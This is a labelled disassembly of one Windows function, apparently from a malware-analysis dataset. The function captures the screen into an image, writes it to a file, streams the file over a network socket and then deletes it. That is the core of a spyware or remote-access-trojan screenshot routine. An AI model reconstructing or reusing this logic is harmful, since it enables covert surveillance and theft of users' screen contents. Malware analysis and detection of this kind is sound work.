Function at 0x404210
Capabilities:
Delete file
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
sub esp, 0x464
mov eax, dword [0x41201c]
xor eax, esp
mov dword [esp + 0x45c], eax
mov eax, dword [esp + 0x468]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push ebx
mov dword [esp + 0x4c], eax
call dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ebp, eax
push 8
push ebp
mov dword [esp + 0x54], ebp
call esi
push 0xa
mov edi, eax
push ebp
mov dword [esp + 0x58], edi
call esi
mov esi, eax
push 0x41214c
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], vtable.ATL::CImage.0
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], bl
mov dword [esp + 0x3c], 0xffffffff
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
add dword [0x412164], 1
push 0x41214c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push ebx
push esi
push edi
mov ecx, 0x20
lea ebx, [esp + 0x24]
call fcn.004015f0
xor ebp, ebp
test edi, edi
jle 0x4043a5
xor ebx, ebx
test esi, esi
jle 0x40439a
mov ecx, dword [esp + 0x4c]
push ebx
push ebp
push ecx
call dword [sym.imp.GDI32.dll_GetPixel]
add dword [esp + 0x40], 1
cmp dword [esp + 0x3c], 0
mov edi, eax
jne 0x404333
mov esi, 0x412190
lea esp, [esp]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x40431f
add esi, 4
cmp esi, 0x4121a0
jl 0x404300
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edx, dword [esp + 0x1c]
push edx
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x3c]
push edi
push ebx
push ebp
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
sub dword [esp + 0x40], 1
jne 0x404387
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x3c]
push ecx
push edx
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, dword [esp + 0x3c]
mov esi, 0x412190
push eax
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
je 0x40437f
add esi, 4
cmp esi, 0x4121a0
jl 0x404361
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
mov dword [esp + 0x3c], 0
mov esi, dword [esp + 0x14]
add ebx, 1
cmp ebx, esi
jl 0x4042dc
mov edi, dword [esp + 0x50]
add ebp, 1
cmp ebp, edi
jl 0x4042d2
mov edi, dword [esp + 0x48]
mov ecx, edi
lea ebx, [esp + 0x18]
call fcn.00401ee0
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40441b
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [esp + 0x14], 1
push ebx
lea eax, [esp + 0x18]
push eax
push 0x400
lea ecx, [esp + 0x74]
push ecx
push esi
call edi
mov eax, dword [esp + 0x14]
cmp eax, ebx
jbe 0x404417
push ebx
push eax
mov eax, dword [esp + 0x484]
lea edx, [esp + 0x70]
push edx
push eax
call sub.WS2_32.dll_send
cmp dword [esp + 0x14], ebx
ja 0x4043e2
mov edi, dword [esp + 0x48]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x40f6bc]
mov edx, dword [0x40f6b8]
mov ecx, dword [0x40f6b4]
mov byte [esp + 0x5c], al
xor eax, eax
mov dword [esp + 0x5d], eax
mov dword [esp + 0x61], eax
mov word [esp + 0x65], ax
mov byte [esp + 0x67], al
lea eax, [esp + 0x54]
mov dword [esp + 0x58], edx
mov dword [esp + 0x54], ecx
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x404460
push ebx
sub eax, edx
mov edx, dword [esp + 0x480]
push eax
lea ecx, [esp + 0x5c]
push ecx
push edx
call sub.WS2_32.dll_send
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x4044c4
push eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x3c], 0xffffffff
mov byte [esp + 0x39], bl
mov byte [esp + 0x38], bl
call dword [sym.imp.GDI32.dll_DeleteObject]
lea ecx, [esp + 0x18]
call fcn.00401560
mov eax, dword [esp + 0x4c]
push eax
push ebx
call dword [sym.imp.USER32.dll_ReleaseDC]
lea ecx, [esp + 0x18]
call fcn.00401560
mov ecx, dword [esp + 0x46c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040e2e2
add esp, 0x464
ret